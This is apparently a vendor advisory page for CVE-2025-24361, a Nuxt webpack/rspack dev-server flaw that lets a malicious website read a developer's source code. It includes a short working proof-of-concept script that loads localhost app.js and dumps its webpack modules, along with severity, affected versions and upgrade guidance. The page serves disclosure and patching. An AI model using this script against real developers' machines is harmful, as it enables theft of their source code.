CVE-2025-24361

Opening a malicious website while running a Nuxt dev server could allow read-only access to code

const script = document.createElement('script')
script.src = 'http://localhost:3000/_nuxt/app.js'
script.addEventListener('load', () => {
  for (const page in window.webpackChunknuxt_app) {
    const moduleList = window.webpackChunknuxt_app[page][1]
    console.log(moduleList)

    for (const key in moduleList) {
      const p = document.createElement('p')
      const title = document.createElement('strong')
      title.textContent = key
      const code = document.createElement('code')
      code.textContent = moduleList[key].toString()
      p.append(title, ':', document.createElement('br'), code)
      document.body.appendChild(p)
    }
  }
})
document.head.appendChild(script)

Users using webpack / rspack builder may get the source code stolen by malicious websites.

CVE-2025-24361 has a CVSS score of 5.3 (Medium). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.15.3); upgrading removes the vulnerable code path.

Kodem intelligence

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1. What is CVE-2025-24361? CVE-2025-24361 is a medium-severity security vulnerability in @nuxt/webpack-builder (npm), affecting versions >= 3.0.0, < 3.15.3. It is fixed in 3.15.3.
2. How severe is CVE-2025-24361? CVE-2025-24361 has a CVSS score of 5.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which packages are affected by CVE-2025-24361?
   • @nuxt/webpack-builder (npm) (versions >= 3.0.0, < 3.15.3)
   • @nuxt/rspack-builder (npm) (versions >= 3.12.2, < 3.15.3)
4. Is there a fix for CVE-2025-24361? Yes. CVE-2025-24361 is fixed in 3.15.3. Upgrade to this version or later.
5. Is CVE-2025-24361 exploitable, and should I be worried? Whether CVE-2025-24361 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2025-24361 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2025-24361?
   • Upgrade @nuxt/webpack-builder to 3.15.3 or later
   • Upgrade @nuxt/rspack-builder to 3.15.3 or later

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